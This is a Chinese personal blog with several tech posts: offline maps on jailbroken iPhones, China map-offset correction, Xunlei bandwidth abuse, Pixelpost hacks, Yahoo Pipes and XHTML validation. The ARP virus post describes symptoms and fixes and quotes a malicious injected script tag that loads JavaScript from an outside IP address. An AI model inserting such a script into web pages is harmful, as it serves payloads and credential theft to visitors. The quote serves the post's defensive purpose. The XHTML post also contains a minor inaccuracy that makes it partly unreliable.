Apr 6, 2011

Google离线地图以及中国区地图校正

目的

  1. 利用Google的离线地图,方便出差或者周游世界时定位用。
  2. 针对中国区地图的偏移问题也提供了修正的解决方案。

啰嗦两句:诸多原因纠结在一起,让我不得不重新寻找适合iPhone/iTouch用的离线地图软件。
试了好多个,发现还是之前用的Offline Maps最好用,可定制性高且制作方便,唯一不好的地方就是要越狱相关的设备。这儿把相关的资料都整合一下,以便后来者使用。

离线地图制作步骤

  1. 越狱你的设备,不管是iPhone 3G,还是iPad,这步是必须的。我一般会去
    http://iphone.tgbus.com/ 上看看相关的新闻或者是在Twitter上Follow
    http://twitter.com/#!/iphone_dev
  2. 安装91手机助手后,然后去 http://code.google.com/p/iphoneofflinemap/downloads/list 上下载最新版本的 离线地图切换软件,安装好后发现软件的名字叫做Atlas。
  3. 下载并安装离线地图下载器 http://en.wikibooks.org/wiki/Global_Map_Download_Tool
  4. 下载并安装iPhone Map Converter,目前的地址。如果这个地址打不开,可以用Google搜索“iPhone Map Converter”
  5. 利用步骤3的软件制作离线地图,这个很傻瓜的,实在不懂请自行请教Google大神。
  6. 利用步骤4的转换器将地图转换成适合自己iPhone/iTouch/iPad的版本,这里注意版本千万不能搞错,不然会无法使用。
  7. 将5和6生成好的地图文件 MapTiles.sqlitedb 以及 com.apple.Maps放在一个目录下。如深圳,我就取名为SZ,然后将此目录Copy到 相关设备的 /var/mobile/Media/Maps 下面。
  8. 在Atlas可以看到相关的目录即可进行切换。


中国区地图校正

  1. 直接Google“中国地图 校正”即可看到不少相关的信息,我一般看这条。按照说明添加新的Cydia源,然后安装就大功告成了。
  2. 最后安装完成后还要去Settings里面设定一下,启动相关的校正功能即可。

好了,做完上面的步骤,基本上你要去Google Maps能覆盖的区域,就都能提前下载好相关的地图了。这对那些不愿意用联通或者是去别的国家漫游的朋友那是非常的有用。

末了,还是要鄙视下天朝政府的规划局。我不知道土鳖们是怎么想的,非要在中国地图上加什么偏移量,姑且认为土鳖们是从国防角度考虑。可拜托你们用脚想想,现在民间随处在卖的GPS接收器都附带地图自动校正功能,你难道以为别国的军方不会校正么,真是不知说什么好了。


Post by SUN @ 9:30 pm | 与时俱进 | Comment (1)
Aug 22, 2007

ARP 病毒以及解决办法

首先强调下,这个病毒并不是一个新病毒,只是因为最近俺们系的局域网里闹了一次,所以拿出来说说。

现象:

  1. 电脑上网特别慢,甚至无法上网。
  2. 打开网页后查看源代码会发现代码前被加了一小段如下的代码(地址可能不同)。
    <script src=http://66.186.33.44/n.js></script>
  3. 打开一些需要运行javascript的网页只能看到乱码。
  4. 同时多台在C类网段的电脑出现上述之一的情况。
  5. 出现上述任何一条情况都有可能是ARP病毒。

分析:

这是一个典型的ARP病毒。原作者用自以为高明的办法给源代码加了密,其实稍有点计算机知识的人就能破解。具体病毒代码我就不深入分析了,目的就是利用微软的漏洞来偷些用户资料,比方说游戏的用户名和密码什么的。如果说散这个病毒是为了好玩,那么我可怜it,整个一情商低能儿;如果说是为了卖资料换钱,那是犯罪,这种东西连鄙视it都觉得是浪费自己感情。

说远了。其实ARP病毒,就是中毒的电脑会把自己伪装成你所在C类网段的gateway,这样就可以让局域网内其他电脑必须通过它才可以上网,从而截取数据包中的一些信息了。这样会导致其他没中毒电脑的上网速度下降甚至断网等症状。

解决办法:

可以在行命令方式键入命令:“ARP -a”,如果网内有人中毒的话,你就会发现最少有两台电脑的MAC地址是一样的,记录下来,汇报给网管。接下来的任务就是由网管找出被感染的电脑,然后杀之。

作为终端用户,咱们要做的就是开着系统的自动更新功能,微软的东西,不打补丁是很危险的。其次就是一定要安装杀毒软件,做到防患于未然。对于这个病毒来说,一般的杀毒软件都能搞定它。

Tags:
Post by SUN @ 4:28 pm | 与时俱进 | Comments (2)
Jul 31, 2007

致个人网站站长:小心迅雷

迅雷下载是现时非常实用的一款下载软件,速度奇快无比。不过各位个人网站站长在共享自己的资源时候,千万要小心,不要给迅雷盯上,否则后果可能非常严重。下面是我的case:

最近这段时间,我发现我的个人网站浏览速度很慢,而且流量特别异常:
bandwidth

可以看到7月18日以后流量猛增,到29日更达到了每日21.7G的流量,但是同期个人网站访问量却没有质的飞跃。经过仔细分析access log文件后,我发现绝大多数流量来自206类型的访问,换而言之就是不经过页面直接下载文件。其中,一首mp3被下载的次数最多,日下载达到了5800次之多,也就是每分钟就有4个下载,而且这些下载全都没有经过如百度mp3等歌曲搜索引擎。

这样的结果,只有迅雷才能办到。再回想一下并查证了记录,发现当初自己用这首歌来测试过自己网站的下载速度,用的就是迅雷。

于是真相大白,迅雷记录了我网站上这首歌的地址,并且放到的自己的数据库中,所以造成了这样的海量下载结果。找到了问题的症结所在,处理起来也简单了,我把这mp3改了个名字,可以看到,30日,我的网站流量就迅速回复正常了。

所以在这儿,给各位个人站长提个醒,千万不要用迅雷下载自己网站上的文件,尤其是mp3,录像等大型文件 ,否则那后果可能相当的严重。对了,那首吸引了数以万计下载的歌叫做《可不可以不勇敢》

Tags:
Post by SUN @ 10:00 pm | 与时俱进 | Comments (4)
Apr 15, 2007

Hacked files for Permalinks in pixelpost 1.6.0

As Pixelpost 1.6.0 is released, some update/hacks are needed to make the permalinks work.
The followings are the hacked files for the new version-pixelpost 1.6.0.
I've hacked index.php and paged_archive.php. Please be noted that .htaccess update is a MUST.

http://znsun.com/Download/2007/..._pixelpost.rar

for the demo. please visit http://click.znsun.com

Post by SUN @ 4:37 pm | 网站更新 | Comment (0)

共享你的RSS资源

接下来的网络时代,必定是web2.0的天下。之前我用Google Reader对自己的网络资源进行了整合。
今天发现Yahoo!几个月前推出了Pipes功能,同样可以让用户自己收集网络上的资源,然后整合之。

就目前来说,前者更适合自己阅读时候使用;而后者在“共享”这个理念上更符合web2.0这个概念,因为它可以的组合、生成新的RSS资源,而且方便其他用户在你的基础上更改。。

作为终端用户,当然是要取长补短啦。我将自己的网站整合到了pipes中,于是就得到了下面这个新的资源:
徘徊在玻璃之城

里面收集了我的blog,我的photoblog, 我的网站等。当然,应用这个聚集器最好的方法就是利用它生成的RSS,将其导入到自己的Google Reader中使用啦。

你也可以自己定制自己的pipe,如果你不会,只要在我的pipe基础上修改一下就可以了。

Tags:       
Post by SUN @ 4:07 pm | 与时俱进 | Comment (0)
Mar 21, 2007

架构符合XHTML标准的博客

费了点时间让自己的网页上都贴上了Valid XHTML的标签,于是顺便扯几句。

XHTML,其实就是一个标准,至于来历,看我后面的扯谈。架构一个符合XHTML标准的网站并不难,可世界上的网站,真能符合w3C颁布标准的还真不多。因为养成的习惯要改并不是那么容易的,而且浏览器也都支持那些旧的标准,这也是不少网站对浏览器兼容不好的问题所在。如果要验证自己的网站是否符合这一标准,只要去 validator.w3.org/ 输入自己的网址就可以了。

如果你的网站不符合XHTML,这不代表它有什么太多的劣势(google的网页没一个符合的),而是你的网页有潜在的兼容性问题,结构上的问题可能让你耗费更多的时间来调整网页代码,使其在不同浏览器中看起来一致。我之前就一直不知道<li>必须嵌置在<ol>或者<ul>中,结果不得不花费时间来调整css代码。

而要架设一个符合XHTML的博客。

  • 最简单的开始就是先掌握XHTML相对于之前HTML的区别。http://www.w3schools.com/ 上给出了详细的说明,还可以做一下上面的Quiz。
  • 其次就是找一个比较好的平台。wordpress,blogspot,都是不错的平台,用他们编置出来的网页,错误相当的少(一般不会超过100)。
  • 尽可能的使用css来控制你网页上元素的性质(颜色,长宽,空白,一切的一切)。将这些元素从XHTML中剥离出来,也是他们的一个目标之一。
  • 随后就是利用上面的http://validator.w3.org/去验证你的网站,它对错误都会给出详细的说明,调试起来很方便。
  • 安装Firefox,使用它的插件的Web Developer进行各种调试纠错,会大大缩短你用的时间。

当你完成所有的纠错以后,就只剩下最后一件事情了。 :) ,在你的网页中插入如下的代码:

<a href="http://validator.w3.org/check?uri=referer" target="_blank">Valid XHTML</a>

【注】
说XHTML,就不可避免的从HTML说开去,自然,也就要提到Berners Lee这位互联网的鼻祖。
话说我刚上小学那会儿,还是个向往当天文学家的主,全因为有一年哈勃上了天;但当时的我却不知道(嗯,绝大多数人都不知道)―正是在那一年Berners Lee在欧洲的粒子实验室倒腾出了万维网。时至今日,你还能看到当年网站的屏幕截图
也正是Berners Lee,领导建立了现如今互联网的标准语言,其中就包括了大名鼎鼎的HTML,全称就是HyperText Markup Language。因为技术的障碍,之前的HTML不得不相对的松散,也就产生了诸多兼容性的问题,人们用不同的浏览器得到的效果经常会不同;而且,随着发展,website在跨平台信息交流中的作用也日益显现。所以Berners Lee们自然而然的就想到了将其标准化。而XHTML,也就是HTML4.01版,就是标准化过程中的一个里程碑。

Tags:       
Post by SUN @ 11:46 pm | 与时俱进 | Comment (0)